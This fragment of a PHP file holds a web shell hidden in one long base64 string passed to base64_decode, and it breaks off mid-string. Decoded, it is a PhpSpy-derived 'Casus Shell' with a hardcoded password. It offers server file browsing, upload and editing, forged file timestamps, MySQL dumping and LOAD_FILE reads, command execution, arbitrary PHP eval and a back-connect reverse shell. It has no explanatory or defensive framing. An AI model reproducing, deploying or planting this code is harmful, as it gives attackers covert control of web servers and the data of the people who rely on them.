".base64_decode("PD9waHANCmVycm9yX3JlcG9ydGluZyg3KTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpvYl9zdGFydCgpOw0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07DQpkZWZpbmUoJ1NBX1JPT1QnLCBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIGRpcm5hbWUoX19GSUxFX18pKS4nLycpOw0KLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7DQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOw0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgew0KCQlpZiAoJF9rZXl7MH0gIT0gJ18nKSB7DQoJCQlpZiAoSVNfR1BDKSB7DQoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7DQoJCQl9DQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KCQl9DQoJfQ0KfQ0KDQovKj09PT09PT09PT09PT09PT09PT09PSB8fC0mIzEwMjg7KyYjMTA5MjsrfCA9PT09PT09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCi8vIC18KyYjMTEwNTstJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssIHRydWUgKyYjMTA4MjstJiMxMDk2Oy0mIzEwODI7LSYjMTA5NzsrJiMxMDc2OywgZmFsc2UgKyYjMTA4MjsrIysrKyArJiMxMDk5Oy4tLXwmIzEwOTQ7LSYjMTA3MzstJiMxMTAyOysmIzEwMjg7K3wtJiMxMDc5Ow0KJGFkbWluWydjaGVjayddID0gMDsNCi8vICsmIzEwOTU7fCAtJiMxMDk2Oy0mIzEwODI7fCMtJiMxMDk5Oy0mIzEwOTc7KyYjMTA3NjssfCYjMTA5OTstfCstfHwtK3wjLSYjMTA5OTsNCiRhZG1pblsncGFzcyddICA9ICdhbmdlbCc7DQoNCi8vKyYjMTA5NTstIHwrIGNvb2tpZSArJiMxMTE4Oyt8K3wrJiMxMDc5OystfCstJiMxMDkwOy0mIzEwODI7fCYjMTEwODssICsmIzEwMjg7fHwtKyMrKyB8JiMxMDc1OywgfCYjMTA5OTstfCstLS18JiMxMDk0OyMmIzEwOTI7LSssICsmIzExMDU7KyYjMTAyODt8JiMxMDk5OyMmIzEwNzU7fCstJiMxMDg0OystDQovLyBjb29raWUgfCMrfA0KJGFkbWluWydjb29raWVwcmUnXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wrJiMxMDI4Ow0KJGFkbWluWydjb29raWVkb21haW4nXSA9ICcnOw0KLy8gY29va2llICsmIzExMTg7K3wtKyt8DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCi8vIGNvb2tpZSArLS0mIzEwNzk7fCsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSArJiMxMDkyOyt8KyYjMTA4OTstICA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQppZiAoJGNoYXJzZXQgPT0gJ3V0ZjgnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdiaWc1Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9YmlnNSIpOw0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1nYmsiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnbGF0aW4xJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KfQ0KDQokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCi8qPT09PT09PT09PT09PT09PT09PT09ICsmIzExMDE7K3wtJiMxMDk3OysmIzEwNzY7ID09PT09PT09PT09PT09PT09PT09PSovDQppZiAoJGFjdGlvbiA9PSAibG9nb3V0Iikgew0KCXNjb29raWUoJ3BocHNweXBhc3MnLCAnJywgLTg2NDAwICogMzY1KTsNCglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOw0KCWV4aXQ7DQp9DQppZigkYWRtaW5bJ2NoZWNrJ10pIHsNCglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICRwYXNzd29yZCkgew0KCQkJc2Nvb2tpZSgncGhwc3B5cGFzcycsICRwYXNzd29yZCk7DQoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOw0KCQkJcCgnPGEgc3R5bGU9ImZvbnQ6MTJweCBWZXJkYW5hIiBocmVmPSInLiRzZWxmLiciPlN1Y2Nlc3M8L2E+Jyk7DQoJCQlleGl0Ow0KCQl9DQoJfQ0KCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddKSB7DQoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09IC0mIzEwOTc7KyYjMTA3NjsrJiMxMDg5Oy0gID09PT09PT09PT09PT09PT09PT09PSovDQoNCiRlcnJtc2cgPSAnJzsNCg0KLy8gIyYjMTA5NzsrfFBIUElORk8NCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgew0KCWlmIChJU19QSFBJTkZPKSB7DQoJCXBocGluZm8oKTsNCgl9IGVsc2Ugew0KCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsNCgl9DQp9DQoNCi8vIC0tKysrLSsgDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsNCglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsNCgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsNCgl9IGVsc2Ugew0KCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7DQoJCUByZWFkZmlsZSgkdGhlZmlsZSk7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQovLyArIysrLS0rKyMrK3wtICt8KyYjMTA5MDsNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCglkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsNCgkkcmVzdWx0ID0gcSgiU0hPVyB0YWJsZXMiKTsNCglpZiAoISRyZXN1bHQpIHAoJzxoMj4nLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7DQoJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3Vua25vd24nKTsNCgloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVuYW1lKTsNCgkkbXlzcWxkYXRhID0gJyc7DQoJd2hpbGUgKCRjdXJyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgew0KCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoJCX0NCgl9DQoJbXlzcWxfY2xvc2UoKTsNCglleGl0Ow0KfQ0KDQovLyAtJiMxMDgwO3wgTVlTUUwtLSsrKy0rIA0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoJaWYgKCEkZGJuYW1lKSB7DQoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7DQoJfSBlbHNlIHsNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCgkJaWYgKCFmaWxlX2V4aXN0cygkbXlzcWxkbGZpbGUpKSB7DQoJCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOw0KCQl9IGVsc2Ugew0KCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBsb2FkX2ZpbGUoJyRteXNxbGRsZmlsZScpOyIpOw0KCQkJaWYoISRyZXN1bHQpew0KCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsNCgkJCQlxKCJDUkVBVEUgVEFCTEUgdG1wX2FuZ2VsIChjb250ZW50IExPTkdCTE9CIE5PVCBOVUxMKTsiKTsNCgkJCQkvLyt8LSMrJiMxMDkyO3wtK3wjJiMxMTAxOy0rKyt8LSwjI3wmIzEwOTA7fCYjMTAzODstK3wtKyYjMTA3MzsrKysmIzExMDE7KyYjMTAyODsjIHwmIzEwODQ7X19hbmdlbF8xMTExMTExMTExX2VvZl9ffC0rLSsgLSMjKy0mIzEwOTg7KyB8LXwmIzEwOTc7KyYjMTAzODsNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOw0KCQkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgY29udGVudCBmcm9tIHRtcF9hbmdlbCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoJCQl9DQoJCQkkcm93ID0gQG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KCQkJaWYgKCEkcm93KSB7DQoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KCQkJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KCQkJCWVjaG8gJHJvd1swXTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWdiayI+DQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1NhZHJhemFNIHwgQ2FzdXMgU2hlbGwnKTs/PjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0ZHtmb250OiAxMnB4IEFyaWFsLFRhaG9tYTtsaW5lLWhlaWdodDogMTZweDt9DQouaW5wdXR7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDtoZWlnaHQ6MjJweDt9DQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30NCi5idCB7Ym9yZGVyLWNvbG9yOiNiMGIwYjA7YmFja2dyb3VuZDojM2QzZDNkO2NvbG9yOiNmZmZmZmY7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtoZWlnaHQ6MjJweDt9DQphIHtjb2xvcjogIzAwZjt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2YxZjFmMTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCi5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlOWU5ZTk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQ0KLmhlYWQgdGQgc3Bhbntmb250LXdlaWdodDpub3JtYWw7fQ0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQ0KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9DQp1bC5pbmZvIGxpe21hcmdpbjowO2NvbG9yOiM0NDQ7bGluZS1oZWlnaHQ6MjRweDtoZWlnaHQ6MjRweDt9DQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7DQoJCXZhciBlID0gZm9ybS5lbGVtZW50c1tpXTsNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCiAgICB9DQp9DQpmdW5jdGlvbiAkKGlkKSB7DQoJcmV0dXJuIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKTsNCn0NCmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7DQoJJCgnZ29hY3Rpb24nKS5hY3Rpb24udmFsdWU9YWN0Ow0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQp9DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5IHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIj4NCjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KCTx0ciBjbGFzcz0iaGVhZCI+DQoJCTx0ZD48c3BhbiBzdHlsZT0iZmxvYXQ6cmlnaHQ7Ij48YSBocmVmPSJodHRwOi8vd3d3LnM0ZHI0ejRtLndvcmRwcmVzcy5jb20iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvIHN0cl9yZXBsYWNlKCcuJywnJywnUC5oLnAuUy5wLnknKTs/PiBWZXI6IDIwMTAgPC9hPjwvc3Bhbj48P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPg0KCTwvdHI+DQoJPHRyIGNsYXNzPSJhbHQxIj4NCgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPlNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdsb2dvdXQnKTsiPkPEsWvEsXM8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkZpbGUgTWFuYWdlcjwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPk15U1FMIFVwbG9hZCAmYW1wOyBEb3dubG9hZDwvYT4gfA0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc2hlbGwnKTsiPktvbXV0IENhbMSxc3TEsXI8L2E+IHwNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3BocGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8DQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldmFsJyk7Ij5FdmFsIFBIUCBDb2RlPC9hPg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+DQoJCTwvdGQ+DQoJPC90cj4NCjwvdGFibGU+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4NCjw/cGhwDQoNCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOw0KbWFrZWhpZGUoJ2FjdGlvbicpOw0KZm9ybWZvb3QoKTsNCg0KJGVycm1zZyAmJiBtKCRlcnJtc2cpOw0KDQovLyArJiMxMTA1OysmIzEwNzM7fCN8Iy0rK3wNCiEkZGlyICYmICRkaXIgPSAnLic7DQokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7DQppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsNCgkkZGlyID0gJGRpci4nLyc7DQp9DQokdWVkaXIgPSB1ZSgkZGlyKTsNCg0KaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7DQoNCgkvLyArLXwtfC0tfHwmIzEwOTc7KyYjMTAzODsNCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ05vbi13cml0YWJsZSc7DQoNCgkvLyArK3wgLSstKw0KCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsNCgkJaWYgKCFmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsNCgkJCW0oJHRoZWZpbGUuJyBkaXJlY3RvcnkgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCW0oJ0RpcmVjdG9yeSBkZWxldGUgJy4oZGVsdHJlZSgkdGhlZmlsZSkgPyBiYXNlbmFtZSgkdGhlZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyB8fCsmIzEwODA7LSstKw0KCWVsc2VpZiAoJG5ld2Rpcm5hbWUpIHsNCgkJJG1rZGlycyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOw0KCQlpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsNCgkJCW0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7DQoJCX0gZWxzZSB7DQoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsNCgkJfQ0KCX0NCg0KCS8vICstfCYjMTA4MzsrLSsgDQoJZWxzZWlmICgkZG91cGZpbGUpIHsNCgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJfQ0KDQoJLy8gIyYjMTA4ODsrJiMxMDg1OystKyANCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7DQoJCSRmcCA9IEBmb3BlbigkZWRpdGZpbGVuYW1lLCd3Jyk7DQoJCW0oJ1NhdmUgZmlsZSAnLihAZndyaXRlKCRmcCwkZmlsZWNvbnRlbnQpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJQGZjbG9zZSgkZnApOw0KCX0NCg0KCS8vICMmIzEwODg7KyYjMTA4NTsrLSsgLSYjMTAzMTstKw0KCWVsc2VpZiAoJHBmaWxlICYmICRuZXdwZXJtKSB7DQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCgkJfSBlbHNlIHsNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyArLXwgDQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsNCgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOw0KCQlpZiAoZmlsZV9leGlzdHMoJG5uYW1lKSB8fCAhZmlsZV9leGlzdHMoJG9sZG5hbWUpKSB7DQoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkb2xkbmFtZSkuJyByZW5hbWVkICcuYmFzZW5hbWUoJG5uYW1lKS4oQHJlbmFtZSgkb2xkbmFtZSwkbm5hbWUpID8gJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyArfCt8Ky0rIA0KCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsNCgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7DQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KCQl9IGVsc2Ugew0KCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vICstLSYjMTA3MzstIysmIzEwOTI7DQoJZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmlsZSkgew0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkgfHwgIUBmaWxlX2V4aXN0cygkdGFyZmlsZSkpIHsNCgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQkkdGltZSA9IEBmaWxlbXRpbWUoJHRhcmZpbGUpOw0KCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoJCX0NCgl9DQoNCgkvLyArK3wmIzEwODA7LSYjMTA5MzstIysmIzEwOTI7DQoJZWxzZWlmICgkY3VyZmlsZSAmJiAkeWVhciAmJiAkbW9udGggJiYgJGRheSAmJiAkaG91ciAmJiAkbWludXRlICYmICRzZWNvbmQpIHsNCgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7DQoJCQltKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7DQoJCX0gZWxzZSB7DQoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCgkJfQ0KCX0NCg0KCS8vIHwmIzEwMjg7IyAtLSsrDQoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsNCgkJaWYgKCRkbCkgew0KCQkJJGRmaWxlcz0nJzsNCgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7DQoJCQkJJGRmaWxlcy49JGZpbGVwYXRoLicsJzsNCgkJCX0NCgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7DQoJCQkkZGw9ZXhwbG9kZSgnLCcsJGRmaWxlcyk7DQoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsNCgkJCSRjb2RlPSR6aXAtPm91dDsNCgkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsNCgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCgkJCWhlYWRlcignQWNj